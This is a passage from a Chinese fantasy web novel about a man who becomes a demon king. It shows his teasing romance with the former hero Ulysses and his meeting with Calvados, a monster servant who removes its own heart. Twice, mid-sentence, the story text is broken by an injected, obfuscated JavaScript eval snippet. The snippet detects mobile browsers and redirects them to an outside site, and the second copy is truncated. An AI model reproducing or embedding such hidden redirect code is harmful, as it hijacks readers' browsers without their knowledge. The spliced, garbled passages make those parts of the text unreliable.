在对方反应过来前,他昂首踏步上前,单手勾住尤利西斯的脖颈,令其俯身垂首,以近乎贴在对方耳畔的姿态,轻声道:“你是个不错的人,可惜我对这个世界毫无留恋,没有任何利益能捆绑住我,我们之间自然也就不存在‘盟友’这种关系的可能性。所以,要么就不要讲丝毫情分,直接用力量压倒我,迫使我为你所用,要么……” 说着,他微微偏过头,在那张只有一指之隔的脸颊上轻啄了一口。 ——嗯,这家伙虽然习武,风吹日晒,但不愧是“神之子”,皮肤和看上去一样细嫩光洁,亲上去像豆腐从口边滑落一般,比这两天吃过的任何食物都让更人流连,不枉他从见面起就惦记至今。 “?!” 看到对方脸上骤然升起的红霞,以及那由故作镇定瞬间转为震惊的神情,叶隐舔了舔嘴角,终于放弃对欲望加以掩饰的脸上露出餍足的微笑,接道:“……要么,就对我再好些,让我想着你、念着你,这样的话,也许不管你有什么要求,我都会满足你哦?” 5. 忠仆? 啊,说出来了。 叶隐的心“咚咚”地跳着,纵使他这副游刃有余的模样在尤利西斯面前伪装已经绰绰有余,他还是有些过不了自己这关。 他从很久以前就知道自己会对同性有感觉,但从未对任何人表达过自己的真实想法,结果一脱离原本的环境,约莫是物极必反的缘故,连他自己也没有预料到,他能如此轻易地将这种话说出口……诶诶,后知后觉地有点害羞。 ……虽然他真的鼓起勇气了,但是,尤利西斯绝对会拒绝,不能在此时示弱…! 如此想着,叶隐维持着面上的笑容,借姿势的便利光明正大地直视尤利西斯的神情,想看他作何反应。 银发的男人难得流露出如此明显而剧烈的情绪——他的脸色骤然变化,阴晴不定,时而震惊中夹杂着一丝怀疑,时而充斥深深的不解。 叶隐的话相当直白了,理应绝无误解的可能,但正是这样,才更令尤利西斯费解——他从来不知道,男人竟也会喜欢男人,更不曾想像过,类似的事竟会发生在自己身上,尤其,还是在自己与魔王那样的存在之间。 不过,他还不至于被这么一两句话就冲击得丧失思考能力。叶隐的每一句话他都听得仔细,所以,对方话语中的含义,他亦察觉无遗:叶隐真正想表达的是,自己在乎的事物在他眼中根本无关紧要,现在这般温吞的相处只会令他不耐,无法令他心悦诚服。 尤利西斯其实不太能仅凭几句描述就想象出叶隐所生活的那个世界,譬如“亿”是个多大的单位?怎样的武器能打击到千里之外的地点?……他无法想象,但是,他并非完全不能理解叶隐——被困在这人生地不熟的地方,周围连第二个人类都看不见,又该如何要求他为了远方的人们而甘愿牺牲力量和自由?这确实没有道理。 他一直是能理解的,如若不然,他便会像叶隐所说的另一种情况那般,从最初就以铁血的方式控制对方,从魔王之血的真相到活动范围全部管控得死紧,让对方绝无逃离的可能——这确实是他曾经想过的一种方式,只是他终究没有那么去做。 ——但是,他亦从未想象过,要通过与魔王建立那种关系的形式,来将对方捆绑在己方这辆战车上,这是他无论如何都做不出来的事、撒不出来的谎。 “……就算我答应对你好,也不过是一种博取你信任的权宜之计,我不相信你会意识不到。”尤利西斯低头与叶隐对视着,喃喃道,“这世上真的没有比爱更值得令你留恋之物吗?我不明白。” 叶隐歪头看着略显窘迫的银发男人,眼中隐隐带着笑意,“我知道的,世界很大,只是我现在能看到的部分很小而已,所以,也许以后会有吧,至于现在么,就是这样了。” 值得尤利西斯拒绝的理由有很多,值得他答应的理由却是几乎没有,所以现在最好不要把他逼得太紧,光是看到他为这一两句调笑而面红耳赤的模样,就已经值回票价了,至于他内心答应还是不答应……倒也不是现在就非得要个结果不可。 “……”尤利西斯缓缓摇了摇头,拉开叶隐勾住自己脖颈的手臂,后退半步,凝视着对方,恢复了冷淡的语气:“我果然还是无法理解你,魔王。” “理应如此。”叶隐说着,轻描淡写地侧过头去,避开对方探究的眼神,藏起自己泛红的耳廓,“……我只是说出我的内心想法而已,想着若是你对我多一些了解,我们彼此之间也能多一丝信任。” 尤利西斯沉声道:“我以为我已经表现出了足够的信任,仍以为不足的人是你。” 叶隐轻哼一声,“也许吧。” 就在尤利西斯以为他对自己不悦的时候,他却忽然又露出笑容:“好啦,别急,只要你保持现在这般程度,我便知足了,等你什么时候改变了主意,再和我说不迟。” 言毕,叶隐单方面结束了这段交谈,问起尤利西斯接下来对自己锻炼的安排,尤利西斯只得按下脑子里那些纷乱的念头,回归正题,为叶隐安排好体能项目后,手把手带他操练起来。 …… 待到叶隐腰酸腿痛地回到卧室,已是太阳落山之时。 尤利西斯教了叶隐如何用厕所的水箱调温洗澡,随后便离开为他准备晚饭去了。叶隐洗澡出来换上便衣,半死不活地往床上一趴,累得直接昏睡了过去。 也不知过了多久,叶隐忽然间苏醒过来,他打着哈欠从床上坐起,听到屋外传来敲门声,动作微微一顿。 这个敲门的节奏和声响……不是尤利西斯。 如此想着,叶隐大概意识到门外是何人了,他低头看了眼身上单薄的睡衣,想了想,放弃了换一件更有威严的衣服的打算,简单捋了捋头发、擦了把脸,便去开了门。 他不知道魔物普遍长什么模样,想来也不可能多俊美,开门前,他已做好了会被吓一跳的准备,而门外那人…那魔物的样貌,也的确令他呼吸一顿。 它看上去有两米以上,大体有个人形,两手两脚一头,但它的身躯好似由两部分拼成,左臂与下半身堆积着膨胀的肉块,甚至还在呼吸般鼓动,表皮呈诡异的紫红色,全然不似寻常生命,唯有腰间的布块昭示着它或许有独属于智慧生命的廉耻之心。从左肩到右腹的线斜斜分隔开它的下半身和相对正常的上半身,那是条形似人类的健壮臂膀,只是血管的颜色明显异常,很难说其中流动的物质是否仍是血液。 除此之外,它的头颅亦如身体这般一半一半,左半边脸面目狰狞、随着蠕动的血肉不断变化,右半边脸则依稀看得出人骨的轮廓,居然让叶隐看出了两分有棱有角的风骨。几缕灰白色的头发从它的鬓角和脑后垂下,一颗明显目盲的眼珠微睁着,不知正看向何方。 叶隐稍微有点被这位仁兄的模样惊到,一时间对其他魔物的样貌预期又调低了不止一个档次,不过对方的表现意外平和,给了他镇定下来的时间。他定了定神,试探道:“是尤利西斯让你来找我的?” 那颗半阴半阳的头颅缓缓点了点,这颇通人性的举动让叶隐略微安下心来。 叶隐让开道路,指了指一旁的沙发,“进来聊,坐那。” 魔物沉默地跨进门内,周身的血肉随着它的动作发生了夸张的形变,看得叶隐有些心惊胆战,生怕那不知里头是血还是脓水的鼓包随之爆开,不过他转念一想,这整座魔王城都是对方在打理,这种事应该不会出现,不然这城堡可做不到如此整洁。 叶隐往沙发上一靠,见对方仍站在门口,朝它招了招手,“过来坐啊。” 魔物头上那张裂唇开合两下,发出一声宛如血肉与砂砾绞磨的沙哑嗓音:“逾越。” 叶隐乐了,他穿越过来两天,还是第一次体会到当魔王的实感,不过他心里更多的是好笑。他再度冲对方招了招手,满不在乎地道:“你住这城堡的时间比我可久多了,再说这屋子都是你打扫的,坐一坐又怎么了?” 魔物抬头面对叶隐,似是看了他一眼,随后提动双腿,来到沙发边上,仍是不肯坐下。 “……好吧,反正也不会聊太久。” 叶隐摇了摇头,翘起二郎腿,十指交叉放在腿上,饶有兴趣地看向对方,“能做下自我介绍吗?为何这魔王城中只有你一人?你在前魔王那边担任什么职务?” “吾名卡拉瓦多斯。”魔物低着头说道,言谈意外的流畅有逻辑,“吾忠诚于数任魔王,因而被允许留在城中侍奉。吾的职责便是打理魔王城,再无他物。” 叶隐心中一动,这位仁兄竟还是个老资历,这真是极好的!虽然只是个内侍,但它知道的有关魔王的情报兴许比尤利西斯还要多,值得问问。 “你知道我是谁吧?”他问。 魔物的头颅垂得更低,“您是魔王,叶大人。” 【叮~当前任务完成!获得奖励:时髦值+3、觉醒度+1。】 叶隐:“……”这任务完成得倒是容易。 任务奖励到手后,叶隐隐约感到自己的身体有些微妙的异常,不过现在不是仔细检查的时候,他按捺住那种异样的感觉,继续故作镇定地道:“把你知道的、有关尤利西斯的事都告诉我。” 魔物毫不迟疑地回道:“大约一个月前,他按照与前魔王的约定,孤身来到魔王城,配合前魔王的计划。至于更早的事,我不知晓。” 前魔王? 叶隐精神一振,不自觉地坐直了些,这魔物不愧是老资历,上来就爆了个大的! 尤利西斯自称对时空魔法一窍不通,再加上他身为前勇者,介入“培养魔王”计划的缘由本就古怪,叶隐猜想,这个前魔王,多半才是把他召唤到异世界的始作俑者,尤利西斯只是他的合作者而已。 不过,既然尤利西斯与那位前魔王,在尤利西斯来到魔王城以前便已相识,那始终留守城内的卡拉瓦多斯多半是不知晓两人相识的前因的,可惜。 叶隐换了条架着的腿,“说说前魔王的事。” “他名为希恩,任魔王只有数月之久,与吾交谈甚少。”魔物继续操着那口仿佛指甲刮玻璃一般让人发怵的嗓音说道,“他来到魔王城是在三个月前,那之后始终深居简出,每隔十余天才会离开房间。” 叶隐正听着呢,对方却闭上了嘴,他等了半天也没等到对方再次开口,“……就这样?没了?” 魔物沉默地点了点头,又摇了摇头。 “吾与尤利西斯阁下有约,有些事由他来告知您。”卡拉瓦多斯说道,“这并非隐瞒,而是吾认为那对您更好,请相信这一点。” 叶隐挑了挑眉,这魔物的人性真是比他想象中还要充沛许多,相比之下,那点隐瞒完全不算什么,“你的同类也都像你这样么?” “不。”魔物吐出这个字。 但就在叶隐等着它的后话的时候,它却惜字如金地闭上了嘴,和刚才一模一样。 也许是要求不够详细……叶隐想着,补充道:“说具体点。” “这不该由吾来说,叶大人。”魔物拒绝道,“耳听为虚,眼见为实。” “……” 虽然对方并未表露出明显的好恶,但叶隐总感觉它是在暗中蛐蛐自己的同类,而那不符合它的立场,所以它才不想详说……是错觉吗? 叶隐清了清嗓子,直起上身,佯装威严地道:“总之,既然你认我为王,我这里有几个要求,你且听好。” 魔物单膝跪在了地上,顺从地将头颅埋在胸前。 叶隐对它的跪礼感到头皮发麻,不过为了魔王的威严,他还是接受了这一跪。他现在没有力量,万不能在魔物面前表现得过于和善,不然兴许会害了他自己,还是先按着它们的规矩来比较好。 “其一,你只能听从我的命令,在我发话之前,任何人都无法强制你做任何事,哪怕是尤利西斯。”他说道,“……不过,嗯,要是你自己想做什么,倒是无所谓,只要不和我的意愿冲突,你可以做任何你想做的事。” 魔物的语气没有丝毫波动:“是。” “其二,你不得以任何方式向任何人泄露我与尤利西斯的存在,原因该不用我多说。” “明白。” “其三,我需要一个联系你的方式,以便在任何有需要的时候呼唤你来此,你有什么方法?” 闻言,魔物站起身来,从房间角落的柜子里取出一个叶隐都不知道它的存在的玻璃容器,它将容器摆在矮桌上,在叶隐的瞠目结舌中面不改色地掏出自己的心脏,将那个仍在跳动的染血肉块放了进去,盖上盖子。它的动作极为精准,甚至没有多余的血液溢出,而胸前的空洞也在心脏离体后立刻被周围的血肉堵上,甚至看不出刚刚被挖开一个大洞。 叶隐不知所措,“你、这是……” “这个容器,能将魔力转换为特定频率的电流,以刺激内容物。”卡拉瓦多斯平静地说道,“心脏虽离体,它本身依然与吾相连,您以魔力刺激它,吾便能感觉到您的呼唤,必会即刻赶来。” “……” 叶隐不知道该说什么好。 也许心脏对魔物不是那么重要的器官,但他仍被这股强烈的非人感刺激得不适,以至于压根不想去看那只玻璃罐子,连带着双手双脚都在微微颤抖,使不上劲,而他却不敢表露丝毫脆弱,只能压下这股不适,尽力维持淡然的模样。 他想要的可不是这样的方法……啧! “若您怀疑吾的忠诚,也可加大魔力输入,由此施以折磨,或是直接破坏心脏。”卡拉瓦多斯的说明还在继续,“心脏并非魔物的生命中枢,灵魂才是,即使心脏损毁,魔物也不会立刻死去——但也离死不远。失去心脏的魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091995|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,其身躯会渐渐失去支撑,在数小时内化为一滩无意识的碎肉,最终重回大地。” 叶隐沉默了会儿,转移话题般开口道:“可尤利西斯说,拥有灵魂的生命,只有人类和元素。” 卡拉瓦多斯回到原位重新跪下,然后道:“这个说法不错,但也不全对。”它微微抬头,浑浊无光的单眼凝视着叶隐,其中似乎蕴藏着叶隐看不懂的情感,“人类与元素的灵魂,乃是他们自身自发孕育而出,这件事唯有他们能做到,所以元素成为了世界的基础,人类则成为了万物之灵长。而魔物……” “……” 听到这里,叶隐骤然回想起之前尤利西斯说过的一句话—— 【魔物所喜爱的环境,被一种由动物血肉和特定真菌培育出的菌毯覆盖,那能直接为魔物提供营养,也能在上面培育出新的魔物。】 “灵魂是不属于魔物的宝贵之物,要得到那份力量,得到那份属于高阶生命的凭证,就唯有…掠夺。”卡拉瓦多斯面无表情道,“然而,以一具完整□□为基、以其中灵魂为引,只能孕育出被那灵魂深刻影响的残次品,所以魔物将血肉捣碎,也将其中的灵魂捣碎,再加以混合,如此才能制造出真正的……以破坏和混乱为生的‘怪物’。” 叶隐的喉结滚动了一下,呼吸变得急促。 他的余光瞟过卡拉瓦多斯的上半身,那明显曾属于某个人类的部分,骤然感到强烈的厌恶。 他好像稍微能够理解,尤利西斯为何会如此讨厌……不,该说是“憎恨”魔物了。 魔物结束了说明,重新低下头去,等待魔王的下一条命令。 叶隐呼出一口浊气,压抑着恶心的感觉,冷淡道:“没有其他事了,你先下去吧。” 其实他还有些事想问,不过……还是算了,等下次有机会再说吧。 卡拉瓦多斯不去看他,默默起身退下。他的动作干净利落,一点不像外表那般粗枝大叶,没有在屋内留下丝毫痕迹,该说不愧是魔王的内侍吗?——当然,得除开桌上那个罐子,还有里面那颗仍在跳动的心脏。 不多时,屋外再次传来敲门声,这次确实是尤利西斯了。 叶隐中断了发呆,支起有些发软的身体,闭着眼将那玻璃容器转移到了卧室的矮柜中,用抹布反复擦拭过其实很干净的桌面,才把门打开。 尤利西斯端着两人份的晚饭进屋来,盘里饭食一如既往的丰盛且精致,但叶隐没有丝毫食欲。 尤利西斯似乎看出了这一点,只默默吃自己的份,并不强求叶隐进食,直到饭程过半,才出言道:“明日还有体能训练,多少吃一些。” 叶隐沉默着吃了些饭,终究没说什么。 即使在他先前的世界,也并非不存在这样极度富有恶意的生存法则。暴力从来都是文明的底色,道理他是清楚的,只不过他此前确实极少有机会接触到这些,一时难以适应罢了。 放下餐具后,他突然出声问道:“尤利西斯,在你看来,魔王算是魔物,还是人类?” “既非魔物,也非人类。”尤利西斯收拾着,头也不抬地说道,“魔王之血的宿主无一例外都是人类,在觉醒之前,他们与常人并无二致,就像现在的你这样,随着魔王之血逐渐复苏,他们的身体与精神才会展现出异常,而到彻底觉醒之时,他们便会完全抛弃过去的一切,作为魔王获得新生……到那时,便与‘人类’一词毫无瓜葛了。” 叶隐“哦”了一声,貌似随口一般问道:“那我也会渐渐变得不像人类?变成…比如卡尔瓦多斯那样?” “像它那样的存在,即使在魔物中也只是个残次品……魔王之血的进化是全方位的,你不仅会拥有超凡的力量,还会拥有足以蛊惑人心的容貌。” 尤利西斯端着餐盘站起身来,俯视着叶隐,语气冷漠,“……不过,终究只是个外表符合人类审美的怪物而已。” 尤利西斯毫无与叶隐闲聊的欲望,来得快,走得也快,结束话题后便离开了。叶隐托着下巴望向他离去的门口,悠悠站起身来,走到全身镜前站定,微微俯身,借着窗外的霞光与烛火,凝视着镜中的自己。 【觉醒度:1/100】 系统的面板上明晃晃地展示着他的状态,好在,这区区一点觉醒度,似乎并未对他的外貌造成多大改变——但他还是感觉到了非常明显的异常。 周围的一切在他眼中变得更加清晰,更加明亮,而当他将目光投向镜中的自己时,他看到那双漆黑的眼眸,瞳孔比平日里更加圆润大张——将镜旁的烛火挪到近前时,其则骤然变得狭长。 这猫咪般的瞳孔,绝不是人类应有之物,而其对叶隐的改变,也绝非只是改变了瞳孔的形状那么简单,他甚至感觉自己的近视在缓慢恢复,也许一觉醒来便会有翻天覆地的变化,将他的视力变回到如刚出厂般崭新。 叶隐安静地从镜前退开,面色阴沉,目光幽深。 “有降低觉醒度的方法吗?” 他询问系统,可等了许久,都没有得到任何回应。 呵呵……叶隐冷笑着,在心中将“觉醒度”与“死亡倒计时”划上了等号。 也是,既然系统自称“魔王系统”,便只可能是以迫使他觉醒为目标,所以觉醒度才会被摆在面板的第一行,即使世间存在降低觉醒度的方法,也绝无可能主动告诉他。 他回到卧室,重新取出那只玻璃罐子,深深凝视着那颗在透明液体中跳动的心脏,仿佛要将这一幕刻入脑海,绝不忘记。 他还没有觉得做人已经做腻了,更不觉得为了一些力量就值得放弃人类的身份。尤利西斯的劝告绝非危言耸听,这个世界上恐怕没人比他更相信□□的变化会反过来影响精神。在取走力量的前提下还能保持住原有的人格?哪有那么好的事! 他就是他,永远都只是他自己而已。他会改变,也会成长,但绝非一切改变都可以接受,若他终有一天不得不背离迄今为止的道路,即使尤利西斯不忍动手,他也绝不会放任自己成为这世间的祸害——所以,他必须反复以今日之见警醒自己,万不可为逞一时之利而越过那条界线,否则,便是与死无异。 而对叶隐不假掩饰的心理活动,系统没有半分回应,也不知是对他的个人意见无动于衷,还是对注定的结局胸有成竹。 6. 尤利西斯·其一 “呼…呼……呃……” 叶隐躺在地上呻吟,肺叶随着呼吸作痛,嗓子眼里不断有铁锈味上涌,四肢皆像绑了铁块一样沉重,一会儿不动便失去了知觉,动弹一下都难,脑子更是发昏,一点儿也转不动。 尤利西斯给他安排的锻炼内容时有变动,共同点是无一日不卡着他的体能极限,但凡按标准做完,少说要脱一层皮。一个星期下来,他就没哪天能舒坦着回屋的,就连梦里也尽是些最痛苦的时刻,反复播放,白天晚上都难得安生。 在他锻炼的时候,尤利西斯有时会离开,但大多数时候都会在一旁练剑。说是练剑,实则他手上只有一根紫皮树枝,却挥得又快又狠,叫人难以看清,脚下步法亦是玄妙,哪怕在这并不宽广的塔内也能辗转腾挪,一套又一套剑势行云流水、绚烂如花,好不厉害。 即使叶隐被折腾得自身难保,也常常禁不住偷眼欣赏这幅剑光与人影交织成的美景,随后身体便能多些力气,支持他再练一会儿。尤利西斯仿佛对叶隐偷摸的打量毫无觉察,即使觉察,也视若无睹,他一进入状态便极为专注,旁若无人,不说半个多余的字,唯独叶隐坚持不住时,才会出声提醒他继续或是歇息……叶隐不知道他究竟有没有在关注自己,就凭每天的训练量都在变化这一点来看,该是有的吧? 叶隐躺倒后不久,尤利西斯收剑而立,亦是挥汗如雨,他喘了两口气,随手将这根趁手的树枝摆在角落,缓步走到叶隐身边,道:“别躺下,坐起来。” 叶隐翻了个白眼,但知道那是为了自己好,还是依言坐起,疲惫地靠在自己的膝盖上,说不出话。 “你的锻炼卓有成效,你自己应该也感觉到了。”尤利西斯鼓励叶隐道,“坚持下去,你很快就能拥有入门战士一道的资格。” “是吗……”难得从尤利西斯嘴里听到一句好话,叶隐却是有气无力,不然多少翻两个筋斗表达一下自己的得意。 出于各种原因,这一个星期里,他对训练可谓全力以赴了,也的确感觉身体状况有了长足进步,只是他同时也很清楚,这并非全是自己的功劳。 自从与卡尔瓦多斯见过面后,尤利西斯便准许叶隐可以在对方的陪同下离开卧室。叶隐由此得到了在城内巡游的机会,于是趁机提了提魔王城的地图探索度,做了几个不痛不痒的任务,获得了些许时髦值……还有觉醒度。 【觉醒度:3/100】 【时髦值:7/100】 觉醒度的上涨,理应尽力避免,可惜这在许多时候只是叶隐的一厢情愿,即使他故意让任务失败,也只能抑制觉醒度的上涨速度,而无法完全避免获取……不过,考虑到前魔王们大概也经历过类似的状况,也许控制着他的觉醒进程的东西并非系统本身,系统只是将那个进程数据化成了便于他理解的形式而已,若真是如此,反抗系统的任务指令怕是治标不治本。 好在,理论上,觉醒度在达到界限之前,都不至于彻底吞噬他的意识,在现在这个阶段,一个星期时间才上涨到3点,增速已经算得上理想了。即使以最坏的眼光来看,他也还有好几年时间可活呢。 综上所述,近日来,叶隐渐渐想通了——抑制觉醒的确很重要,但也不能过于为此患得患失。努力增强他自身的力量与意志,挖掘出体内那被尤利西斯认为足以压制魔王之血的潜能,才是解决问题的真正关键,而这一切只要在觉醒度到达100前完成就好,在那之前,觉醒度的上涨也不全是坏事,譬如他最近猛猛长进的视力与体能,就有魔王之血的功劳。 叶隐多少有些排斥这种被外来之物直接改造身体的感觉,奈何眼下的状况并不允许他悠闲地、一步一个脚印地提升自己,唯有调整心态,怀着利用一切优势的念想去努力,才有可能在将临的风暴中取得主动——正是因为他这么做了,他近日来的表现才会达到让尤利西斯也赞赏的程度吧。 “明天不安排体能课,我们有其他事要做。”尤利西斯忽然道,“地点还是在这里,我来试着带你入门魔法。理论书你应该读过一些了,但卧室里不方便施法,实践与理论终究是两回事。让学徒独自释放魔法是很危险的,有我在旁边看着,就算出了意外,也可以及时干涉。” 魔法! 叶隐双目一亮,正欲起身,却牵扯到了酸痛的肌肉,“那倒是…呃……!”他痛呼一声,倒吸着凉气跌坐了回去,干笑道:“…值得期待……” 尤利西斯蹲下身来,为叶隐按揉酸痛的小腿,问:“你对魔法很有兴趣,在原来的世界却没学过吗?” 歇息过后,叶隐渐渐恢复了呼吸的节奏,忍着肺叶的疼痛解释道:“那个世界没有魔法,至少没有证据能证明魔法的存在……实际上,这些东西在那边只存在于幻想故事中。” 叶隐有注意到,自从他向尤利西斯透露原世界的情况以来,对方似乎对那个遥远的异世界产生了相当程度的好奇心,虽然大体上保持着矜持,不至于打破砂锅问到底,但一遇到向叶隐打听细节的机会,是从来都不会放过,而叶隐每次都不厌其烦地解释,更加大了他好奇心的正反馈。 “唔。”尤利西斯微微蹙眉,“没有魔法,竟也能发展到那种……夸张的程度?”他倒是对叶隐的说法全盘接受,不表露出丝毫质疑,虽然叶隐很怀疑他究竟能不能理解工业化的威能。 叶隐摇摇头,不打算做详细解答。在他对这个世界的所谓魔法足够了解之前,对从小在有魔法的世界中长大的尤利西斯解释“没有魔法的世界”,无异于对牛弹琴,他不想误人子弟。 他抬头看着尤利西斯,抱怨道:“可以回去了吗?石头地板好冰。” 尤利西斯点头,正要起身,却被叶隐一把拽住袖子,后者仿佛预料到他的耿直反应,抢先一步说道:“我腿没知觉了,你抱我!” 银发男人投来狐疑的眼神,而小魔王面不改色。 他沉吟两秒,回道:“我背你。” “……也行。” 叶隐手脚并用地爬上尤利西斯的背,对方自然地将手垫在了他的大腿下方。 热量自那双满是老茧的掌心蔓延而出,从身下这具极富生命力的身躯中传导过来,与之同行的还有那股早已不是第一次闻见的麝香,在汗水与封闭空间的作用下显得更加浓重,挥之不去,一入鼻腔,便让叶隐不由得一颤。 被帅哥背着,嘿嘿……嗯咳! 叶隐轻咳一声,按捺住蠢蠢欲动的心,压下脸上兴奋与羞涩交织的红霞。幸好尤利西斯看不到他的表情,不然会以为他是痴汉的吧。 他最近好像越来越放飞自我了,这可不行,现在不是能无忧无虑想那些事的时候啊…… “你在发抖。” 尤利西斯说着,把叶隐放回了原地。 在叶隐反应过来前,他脱下一直挂在墙上、刚刚才穿上的外套,给叶隐系好,然后才重新将他背起,朝着塔外迈步而去。 叶隐:“……”不解风情的家伙! …… 听着背上那人的呼吸逐渐喘匀,软软搭在肩头的胳膊一摇一晃,尤利西斯抿了抿嘴唇,微不可察地叹了口气。 如果叶隐没有真把自己累到,他定能听到身下这具躯体中的心脏跳动得厉害,而不是像银发男人表现出来的那样淡然。 就像叶隐拿不准尤利西斯有没有发现他的异常那样,尤利西斯自己也不确定,叶隐有没有发现他这片刻之间的气血上涌……最好是没有,不然他会想要撞墙。 尤利西斯的态度始终如一,那就是和魔王发展亲密关系是没有必要的,即使魔王亲口告诉他,世间能束缚自己的事物唯有情,他也不可能会用那种手段趁虚而入,这是原则问题。 只是,这位来自异世界的魔王总不按常理出牌。他以尤利西斯的窘迫为乐,无论什么话题最终都会拐回到尤利西斯身上,让他防不胜防……说起来,从第一次见面起,占据着实力与情报的绝对优势的一方,明明是他尤利西斯,可他每每被魔王那双沉凝的黑眸注视着,在气势上却都仿佛要矮上一筹——也许是他对魔王的照顾还不够,以至于潜意识里都在心虚? 不,该做的事他都已经做了,至于魔王的无理要求,不听也罢! ——理性上,他是那么认为的,只是这层理性的滤镜,并非无懈可击。 尤利西斯素来习惯了肩负重任,从小到大经历过无数考验,在继承勇者之位后也不曾有半分松懈。他以绝对的冷静和果断为傲,自认在大多数情况下都能第一时间做出正确的选择,他也的确依靠经验和直感越过了无数难关。 ——直到三个月前的那一天,他被那个自称魔王的青年希恩找上门时,他做出了有生以来最错误的决定,随之而来的后果,则让他不得不直面迄今为止以来最惨烈的失败。那次失败彻底打碎了他一直以来的骄傲,无论是实力还是心性,甚至是对世界根本的认知……理所当然,他引以为傲的理性,也在那一刻碎裂了。 “我要你去做的事只有一件,而你没有拒绝的条件。” 那一刻的画面,仍历历在目——他被对方的实力完全压倒,跪在地上聆听对方的话语,心中满溢着屈辱与懊悔。魔王希恩那自上而下的冰冷视线,时至今日依然在不断刺痛着他,告诉着他:事情之所以会发展到那一步,完全是因为你的独断专行。 那一天,他头一次对自己的感情无法自控,宛如溺水一般淹没在痛苦、懊悔,和对未来的迷茫中,对比之下,魔王的命令反而成了他的救命稻草。直到从那份满溢的自怨自艾中脱离出来后,他才终于后知后觉地意识到——是他太过自满,是他对希恩的自白充耳不闻,是他将对方逼入生死边缘,是他让一个本有希望战胜本能的魔王被本能吞噬……是他,亲手葬送了人类与魔物和谐共处的可能性。 即使事后被赐予了亡羊补牢的机会,那次失败也早已成了他人生中最深重的刻痕,时刻警告他:你并不完美。 事实上,不仅仅是不完美而已,尤利西斯甚至能感觉到,那次惨烈的失败在他心上遗留的创口,还在随着时间扩大。 他越来越厌恶自己过去虚假的奋斗,厌恶帝国高层的粉饰太平;在希恩面前,他越来越难以维持身为前勇者的骄傲,难以公平公正地审视希恩的计划;他迫切想要赎罪,迫切想要挽回些什么,然而……他做不到。 他锻炼十余年的剑术,在真正的难题面前毫无用武之地,计划的第一阶段几乎尽数由希恩自己完成,他所能做的,只有为对方带来所需之物,随后便只有眼睁睁看着对方按部就班地走向自灭而已。 ……希恩死去的那一天,本是他的第二次惨败,只是叶隐紧随其后的降临,让他不得不即刻为了那位对此界一无所知的新魔王而行动起来,没有丝毫收拾情绪的时间——另一方面,他也并没有勇气去回忆那幅景象,光是触及记忆的边缘都让他浑身冰冷,如在悬崖边般摇摇欲坠。 可是,纵使他万分不情愿,在他看向叶隐的时候,希恩的身影仍不时在脑海中与对方重叠,扰乱他的思绪。意识到这一点的同时,他明白了,他做的补救还远远不够,他的错误所铸就的后果还在延续,就像一位蛰伏在他影子中的杀手,看不见、摸不着,却令他如芒在背、如鲠在喉。 与叶隐的相遇,本应是他赎罪之路的起始,对方希望与他和平相处,他又何尝不是呢?然而,事到如今,他早已无法在对方面前保持真正的理性了,他会轻易被那双眼神动摇,大脑会自动字斟字酌地分析从对方口中吐露的每一句话,而他自己的意识却全然不知所措,仿佛一个旁观者,仿佛对方唯一值得依靠的、百般索求的对象不是自己,哪怕拒绝对方的索求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶隐以手遮面,顺势揉了揉作痛的太阳穴。他很快回忆起睡着前的最后一幕,一时有些怀疑自己这身衣服究竟是谁换的,是尤利西斯,还是卡尔瓦多斯?后者好像有些惊悚,但前者也好不到哪去…… 算了,无所谓。 叶隐随手从衣柜里挑了件风衣披上,出门洗了把脸,随后大喇喇地在餐桌前坐下,托着腮帮子看着尤利西斯分餐。 盘里有道紫色的汤看着陌生,叶隐耸了耸鼻尖,发现那股诱人的异香正是来源于它,好奇问道:“这什么菜?” 尤利西斯回道:“从本地商人那买的,一种叫莫克西的紫蘑菇,魔物界特产,煲汤喝最佳。” “特产啊……”叶隐拿起勺子戳了戳漂浮在汤上的蘑菇片,这汤闻着实在是香,但这个颜色让人提不起丝毫食欲,“……你确定真的能吃吗?吃了不会见小人吧?” “本来为了安全起见,我打算都买人间界的食材,但即使有走私渠道,食物这种难以保存又没什么需求的东西还是太少了,只能再买些本地食材。”尤利西斯说道,“放心,这品种我吃过很多次,这批也已经用神术检查过了,昨天我还单独试吃了一顿,目前为止都没有问题。” “啊,那就好。” 叶隐搓了搓手,一听没毒,口水当即就有些抑制不住了,开始还矜持地用勺子喂进嘴里,刚尝到味就是眼前一亮,索性直接端起碗往嘴里倒,边喝边吃其他菜,风卷残云一般。 尤利西斯看着他的吃相皱眉,疑惑道:“你很喜欢吗?” 叶隐“咕咚”咽下嘴里的汤,舔了舔嘴边,两眼放光道:“这汤闻着就很香啊!吃着也和闻着一样香!啊呜啊呜……” 很香…吗? 尤利西斯紧皱的眉头没有松开,心里微微升起些不祥的预感。 他知道这蘑菇确实很鲜,不然也不会特意买给叶隐换口味,但那股香气和其他菜品的气味比起来,应该不算浓郁才对,他也绝对没有往里头加能让食物发光的粉末什么的……而叶隐自走出卧室就一直盯着这道汤,表现得近乎被它完全吸引一般,这很奇怪。 是叶隐的味觉和他有所不同吗?还是说…… 心中预感愈发强烈,尤利西斯忍不住想要阻拦叶隐:“等等,还是别继续喝了——” 叶隐将已经空了的碗顿在桌上,揩揩嘴角,面露茫然:“怎么了?不是说没毒吗?” “……” 尤利西斯紧盯着叶隐,伸手越过餐桌探向对方的额头,一边用神术扫描对方的身体,一边不确定道:“你…有没有感觉哪里不对?” “没有啊,我挺好的……嗝。”叶隐打了个饱嗝,惬意地往椅背上一靠,尤利西斯不得不起身走到他旁边,才能继续为他检查。 